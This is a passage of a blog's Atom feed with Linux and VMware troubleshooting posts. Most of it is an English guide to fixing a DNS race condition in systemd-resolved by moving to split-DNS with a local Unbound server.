&lt;p&gt;Sanal makinenin aniden kapanmas&amp;inodot; can s&amp;inodot;k&amp;inodot;c&amp;inodot; olsa da, misafir i&amp;scedil;letim sistemini yeniden kurmak gibi zaman al&amp;inodot;c&amp;inodot; maceralara at&amp;inodot;lman&amp;inodot;za gerek yok. Sorun tamamen ana makine ile VMware grafik katman&amp;inodot; aras&amp;inodot;ndaki ileti&amp;scedil;imden ibaret. &amp;Idot;&amp;scedil;lerinizi kurtarmak i&amp;ccedil;in sanal makineyi arka planda (headless) &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmak veya 3D h&amp;inodot;zland&amp;inodot;rmay&amp;inodot; kapatmak en zahmetsiz &amp;ccedil;&amp;inodot;k&amp;inodot;&amp;scedil; yoludur.&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Geni&amp;scedil; bilgi ve tart&amp;inodot;&amp;scedil;malar i&amp;ccedil;in Broadcom topluluk forumlar&amp;inodot;ndaki &lt;a href="https://community.broadcom.com/vmware-cloud-foundation/question/isbrenderercomm-lost-connection-to-mkssandbox-3796" rel="noopener noreferrer" target="_blank"&gt;ilgili ba&amp;scedil;l&amp;inodot;&amp;gbreve;a&lt;/a&gt; g&amp;ouml;z atabilirsiniz.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Sorun Giderme"/><category term="vmware"/><category term="mkssandbox"/><category term="isbrenderercomm"/><category term="sanal-makine"/><category term="linux"/><category term="windows"/><category term="gpu"/><category term="nvidia"/></entry><entry><title>The DNS Mystery on Arch Linux: VPN, systemd-resolved, and Unbound</title><link href="https://yuceltoluyag.github.io/en/arch-linux-dns-vpn-systemd-resolved-unbound/" rel="alternate"/><published>2026-05-23T07:50:00+03:00</published><updated>2026-05-23T20:45:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-05-23:/en/arch-linux-dns-vpn-systemd-resolved-unbound/</id><summary type="html">&lt;p&gt;We solve DNS conflicts on Arch Linux when multiple VPNs are active by configuring local Unbound for split-DNS and disabling systemd-resolved.&lt;/p&gt;</summary><content type="html">&lt;p&gt;In my spare time, I absolutely love playing around with my own systems, building things on my homelab, and experimenting with new technologies. The other night, while working on a new configuration in my homelab, I opened the terminal to check pod statuses on my AWS EKS (Elastic Kubernetes Service) cluster. I ran the usual &lt;code&gt;kubectl get pod&lt;/code&gt; command. I wait... I wait... And bam:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;kk&lt;span class="w"&gt; &lt;/span&gt;get&lt;span class="w"&gt; &lt;/span&gt;pod
&lt;span class="o"&gt;[&lt;/span&gt;...&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Get&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://F07***D78.gr7.us-east-1.eks.amazonaws.com/api?timeout=32s"&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;dial&lt;span class="w"&gt; &lt;/span&gt;tcp&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.0.64.9:443:&lt;span class="w"&gt; &lt;/span&gt;i/o&lt;span class="w"&gt; &lt;/span&gt;timeout
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;"What did I break now?" I thought, and ran the command again. This time, the pod list printed out without any issues. I ran it a third time&amp;mdash;timeout again! The terminal was literally playing coin toss with me.&lt;/p&gt;
&lt;p&gt;Since I had my home internet connection, my OpenVPN connection to access AWS resources, and my own WireGuard tunnel to connect to my other home servers all active at the same time, I rolled up my sleeves with typical Arch Linux user paranoia and decided to dive into the maze of DNS and IP routing.&lt;/p&gt;
&lt;p&gt;In my previous &lt;a href="/en/aws-ec2-openvpn-kurulumu-dns-leak-duzeltilmesi/"&gt;How to Install OpenVPN on AWS EC2 and Fix DNS Leaks&lt;/a&gt; post, we looked at DNS leaks and basic routing over VPNs. This time, the problem is a much more complex DNS race condition and routing knot.&lt;/p&gt;
&lt;h2 id="aws-vpc-dns-and-vpn-traffic-conflict"&gt;AWS VPC DNS and VPN Traffic Conflict&lt;a class="headerlink" href="#aws-vpc-dns-and-vpn-traffic-conflict" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;In my case, the EKS cluster has both Public and Private endpoints enabled, so &lt;a href="https://en.wikipedia.org/wiki/Split-horizon_DNS" rel="noopener noreferrer" target="_blank"&gt;Split-Horizon DNS&lt;/a&gt; is in play:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If we make a query from the public internet, AWS returns EKS&amp;rsquo;s &lt;strong&gt;public IP&lt;/strong&gt; address.&lt;/li&gt;
&lt;li&gt;If we query from inside the AWS VPC (or over the VPN), it returns EKS&amp;rsquo;s &lt;strong&gt;private IP&lt;/strong&gt; address (e.g., &lt;code&gt;10.0.64.9&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I had multiple DNS servers configured at the same time, and &lt;code&gt;/etc/resolv.conf&lt;/code&gt; looked something like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;nameserver 1.1.1.1      # Cloudflare (returns EKS Public IP)
nameserver 10.100.0.1   # Home MikroTik (returns EKS Public IP)
nameserver 10.0.0.2     # AWS VPC DNS - via OpenVPN (returns EKS Private IP)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;To see who was handling DNS in the system, I checked &lt;code&gt;/etc/nsswitch.conf&lt;/code&gt; and found the hosts line:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;hosts&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mymachines&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;resolve&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[!&lt;/span&gt;&lt;span class="n"&gt;UNAVAIL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;files&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;myhostname&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dns&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The &lt;code&gt;resolve&lt;/code&gt; parameter here means the system uses &lt;code&gt;systemd-resolved&lt;/code&gt;&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; via D-Bus instead of the classic glibc DNS resolver.&lt;/p&gt;
&lt;h2 id="the-race-condition-in-systemd-resolved-domain-name-resolution"&gt;The "Race Condition" in systemd-resolved Domain Name Resolution&lt;a class="headerlink" href="#the-race-condition-in-systemd-resolved-domain-name-resolution" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Let&amp;rsquo;s look at how &lt;code&gt;systemd-resolved&lt;/code&gt; resolves DNS queries. To see this clearly, let's enable debug logging for &lt;code&gt;systemd-resolved&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;resolvectl&lt;span class="w"&gt; &lt;/span&gt;log-level&lt;span class="w"&gt; &lt;/span&gt;debug
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Then, monitoring the logs while running the &lt;code&gt;kubectl&lt;/code&gt; command showed this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;varlink&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Received&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"method"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"io.systemd.Resolve.ResolveHostname"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;"parameters"&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"F07***D78.gr7.us-east-1.eks.amazonaws.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;"flags"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;"ifindex"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;}}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;systemd-resolved&lt;/code&gt; sends the DNS query to &lt;strong&gt;all&lt;/strong&gt; active network interfaces (home internet, OpenVPN tunnel &lt;code&gt;tun0&lt;/code&gt;, and WireGuard tunnel &lt;code&gt;wg0&lt;/code&gt;) &lt;strong&gt;simultaneously&lt;/strong&gt;!&lt;/p&gt;
&lt;p&gt;Here is the critical part: &lt;code&gt;systemd-resolved&lt;/code&gt; essentially holds a race between DNS servers. Whichever DNS server on whichever interface responds first, its answer is cached and returned to us.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If my home internet (&lt;code&gt;wlan0&lt;/code&gt; / &lt;code&gt;1.1.1.1&lt;/code&gt;) wins the race, we get EKS&amp;rsquo;s &lt;strong&gt;public IP&lt;/strong&gt; address, and the connection goes through fine.&lt;/li&gt;
&lt;li&gt;If the OpenVPN tunnel (&lt;code&gt;tun0&lt;/code&gt; / &lt;code&gt;10.0.0.2&lt;/code&gt;) wins, we get EKS&amp;rsquo;s &lt;strong&gt;private IP&lt;/strong&gt; address (&lt;code&gt;10.0.64.9&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;But why does getting the private IP cause a timeout? Checking the routing table, there is no specific route set up for the &lt;code&gt;10.0.64.9&lt;/code&gt; IP block to go through the VPN tunnel (&lt;code&gt;tun0&lt;/code&gt;). So, the system tries to reach this private IP via the default gateway (my home router), and the packets get lost in the public internet.&lt;/p&gt;
&lt;p&gt;Let's set the log level back to info:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;resolvectl&lt;span class="w"&gt; &lt;/span&gt;log-level&lt;span class="w"&gt; &lt;/span&gt;info
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="solution-options"&gt;Solution Options&lt;a class="headerlink" href="#solution-options" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;We have a few choices to resolve this issue:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Add Static Route (Quick Fix):&lt;/strong&gt; Manually route EKS private IP subnets through OpenVPN. (This is just a temporary patch for that IP and doesn't solve split-DNS).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Split-DNS via systemd-resolved:&lt;/strong&gt; Set up complex domain-based routing rules in &lt;code&gt;systemd-resolved&lt;/code&gt;. (It's tedious and quite unstable).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Local Unbound Setup (Permanent and Stable Fix):&lt;/strong&gt; Disabling &lt;code&gt;systemd-resolved&lt;/code&gt; completely and setting up a local Unbound DNS server to route queries to the correct DNS servers based on domains.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;We will go with the cleanest and most stable path: &lt;strong&gt;Unbound&lt;/strong&gt;. We previously solved a similar port conflict using &lt;code&gt;dnsmasq&lt;/code&gt; in my &lt;a href="/en/arch-linux-dnsmasq-dnscrypt-proxy/"&gt;dnsmasq and dnscrypt-proxy Installation Guide on Arch Linux&lt;/a&gt; post. Since we also need to route VPN DNS queries this time, we will configure split-DNS with Unbound.&lt;/p&gt;
&lt;h2 id="installing-and-configuring-unbound-on-arch-linux"&gt;Installing and Configuring Unbound on Arch Linux&lt;a class="headerlink" href="#installing-and-configuring-unbound-on-arch-linux" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;First, install the package:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;pacman&lt;span class="w"&gt; &lt;/span&gt;-S&lt;span class="w"&gt; &lt;/span&gt;unbound
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;We want to define these routing rules:
*   Queries for &lt;code&gt;compute.internal&lt;/code&gt; and &lt;code&gt;ops.example.com&lt;/code&gt; (AWS internal domains) should go to the AWS VPC DNS server (&lt;code&gt;10.0.0.2&lt;/code&gt;) over OpenVPN.
*   Queries for &lt;code&gt;setevoy&lt;/code&gt; (my local homelab domain) should go to the MikroTik DNS server (&lt;code&gt;10.100.0.1&lt;/code&gt;) over WireGuard.
*   All other general internet queries should go to Cloudflare (&lt;code&gt;1.1.1.1&lt;/code&gt;) and Google (&lt;code&gt;8.8.8.8&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Configure &lt;code&gt;/etc/unbound/unbound.conf&lt;/code&gt; as follows:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="na"&gt;server&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;interface&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;127.0.0.1&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;access-control&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;127.0.0.0/8 allow&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;do-ip6&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;no&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;hide-identity&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;yes&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;hide-version&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;yes&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;prefetch&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;yes&lt;/span&gt;

&lt;span class="c1"&gt;# My homelab network (WireGuard / MikroTik)&lt;/span&gt;
&lt;span class="na"&gt;forward-zone&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"setevoy."&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;forward-addr&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;10.100.0.1&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;forward-addr&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;192.168.0.1&lt;/span&gt;

&lt;span class="c1"&gt;# AWS Internal Resources&lt;/span&gt;
&lt;span class="na"&gt;forward-zone&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"compute.internal."&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;forward-addr&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;10.0.0.2&lt;/span&gt;

&lt;span class="na"&gt;forward-zone&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"ops.example.com."&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;forward-addr&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;10.0.0.2&lt;/span&gt;

&lt;span class="c1"&gt;# Public Internet Queries&lt;/span&gt;
&lt;span class="na"&gt;forward-zone&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"."&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;forward-addr&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;1.1.1.1&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;forward-addr&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;8.8.8.8&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Check the configuration for syntax errors:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;unbound-checkconf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If you see &lt;code&gt;unbound-checkconf: no errors in /etc/unbound/unbound.conf&lt;/code&gt;, we are good to go.&lt;/p&gt;
&lt;h2 id="disabling-systemd-resolved"&gt;Disabling systemd-resolved&lt;a class="headerlink" href="#disabling-systemd-resolved" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;To let Unbound listen on port 53 without issues, we must turn off &lt;code&gt;systemd-resolved&lt;/code&gt; completely.&lt;/p&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Warning! 🚨 Disabling is not enough!&lt;/p&gt;
&lt;p&gt;As soon as you stop this service, you won't have a local DNS resolver, and your domain resolution will temporarily drop until you start Unbound.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;If your &lt;code&gt;/etc/NetworkManager/NetworkManager.conf&lt;/code&gt; has a &lt;code&gt;dns=systemd-resolved&lt;/code&gt; line, change it to &lt;code&gt;dns=none&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;[main]&lt;/span&gt;
&lt;span class="na"&gt;dns&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;none&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Now, stop and mask &lt;code&gt;systemd-resolved&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;disable&lt;span class="w"&gt; &lt;/span&gt;--now&lt;span class="w"&gt; &lt;/span&gt;systemd-resolved&lt;span class="w"&gt; &lt;/span&gt;systemd-resolved-monitor.socket&lt;span class="w"&gt; &lt;/span&gt;systemd-resolved-varlink.socket
sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;mask&lt;span class="w"&gt; &lt;/span&gt;systemd-resolved
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Restart NetworkManager:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;restart&lt;span class="w"&gt; &lt;/span&gt;NetworkManager
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If you want to verify that port 53 is clear, run:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;ss&lt;span class="w"&gt; &lt;/span&gt;-tulpn&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;':53'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If the port is free, enable and start Unbound:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;enable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--now&lt;span class="w"&gt; &lt;/span&gt;unbound
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Now, edit &lt;code&gt;/etc/resolv.conf&lt;/code&gt; to point to our local resolver. Clear the file and add only this line:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;nameserver 127.0.0.1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If you use WireGuard, update the DNS parameter in your &lt;code&gt;/etc/wireguard/wg0.conf&lt;/code&gt; to &lt;code&gt;127.0.0.1&lt;/code&gt; as well:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;[Interface]&lt;/span&gt;
&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="na"&gt;DNS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;127.0.0.1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;After these changes, restart your WireGuard tunnel:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;wg-quick&lt;span class="w"&gt; &lt;/span&gt;down&lt;span class="w"&gt; &lt;/span&gt;wg0&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;wg-quick&lt;span class="w"&gt; &lt;/span&gt;up&lt;span class="w"&gt; &lt;/span&gt;wg0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="testing-and-verification"&gt;Testing and Verification&lt;a class="headerlink" href="#testing-and-verification" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Let's test if our local DNS server is routing queries properly using &lt;code&gt;dig&lt;/code&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;General Internet Test:&lt;/strong&gt;
&lt;code&gt;bash
    dig google.com +short
    # Output: 216.58.207.14 (Resolved correctly via Cloudflare/Google)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AWS EKS Endpoint Test (Should return Public IP):&lt;/strong&gt;
&lt;code&gt;bash
    dig F07***D78.gr7.us-east-1.eks.amazonaws.com +short
    # Output: EKS public IPs (since query went to public DNS)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AWS RDS Test (Should return Private IP):&lt;/strong&gt;
&lt;code&gt;bash
    dig prod.db.kraken.ops.example.com +short
    # Output: 10.0.66.14 (Resolved correctly via AWS DNS)&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;To wrap things up: in complex developer environments with multiple active VPN tunnels, relying on &lt;code&gt;systemd-resolved&lt;/code&gt;'s unpredictable race-condition DNS resolution can be painful. Setting up a local &lt;strong&gt;Unbound&lt;/strong&gt; DNS server gives you total control, keeping your network traffic predictable and stable.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Arch Linux DNS VPN systemd-resolved and Unbound Solution" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/arch-linux-dns-vpn-systemd-resolved-unbound-xl.webp" srcset="/images/arch-linux-dns-vpn-systemd-resolved-unbound-sm.webp 300w, /images/arch-linux-dns-vpn-systemd-resolved-unbound-md.webp 500w, /images/arch-linux-dns-vpn-systemd-resolved-unbound-lg.webp 800w, /images/arch-linux-dns-vpn-systemd-resolved-unbound-xl.webp 1200w"/&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;For more details, check out the &lt;a href="https://wiki.archlinux.org/title/Domain_name_resolution" rel="noopener noreferrer" target="_blank"&gt;Domain Name Resolution&lt;/a&gt; guide on the Arch Wiki.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Linux"/><category term="arch-linux"/><category term="dns"/><category term="vpn"/><category term="systemd-resolved"/><category term="unbound"/><category term="wireguard"/><category term="openvpn"/><category term="mikrotik"/></entry><entry><title>How to Fix VMware Workstation mksSandbox Crash (ISBRendererComm Error)</title><link href="https://yuceltoluyag.github.io/en/vmware-workstation-mkssandbox-cokus-hatasi-ve-cozumu/" rel="alternate"/><published>2026-05-23T07:45:00+03:00</published><updated>2026-05-23T20:40:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-05-23:/en/vmware-workstation-mkssandbox-cokus-hatasi-ve-cozumu/</id><summary type="html">&lt;p&gt;We analyze the causes of the mksSandbox or ISBRendererComm connection loss crash in VMware Workstation and provide step-by-step solutions.&lt;/p&gt;</summary><content type="html">&lt;p&gt;The other day, I was sitting at my computer, hacking away at some Docker containers with my usual local tea and snacks. On my main Windows 11 host (Ryzen CPU and an Nvidia RTX card running like a beast), I was writing some database migrations inside an Ubuntu virtual machine that I spun up for a Laravel project. I pasted a long command into the terminal and was just about to hit Enter, when suddenly, the screen froze. Then, the most annoying, blood-pressure-raising dialog box popped up:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;VMware Workstation unrecoverable error: (mks)&lt;/strong&gt;
ISBRendererComm: Lost connection to mksSandbox (3796)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Believe me, this is where things get really painful, because whatever you were doing is completely gone. The VM just abruptly powers off.&lt;/p&gt;
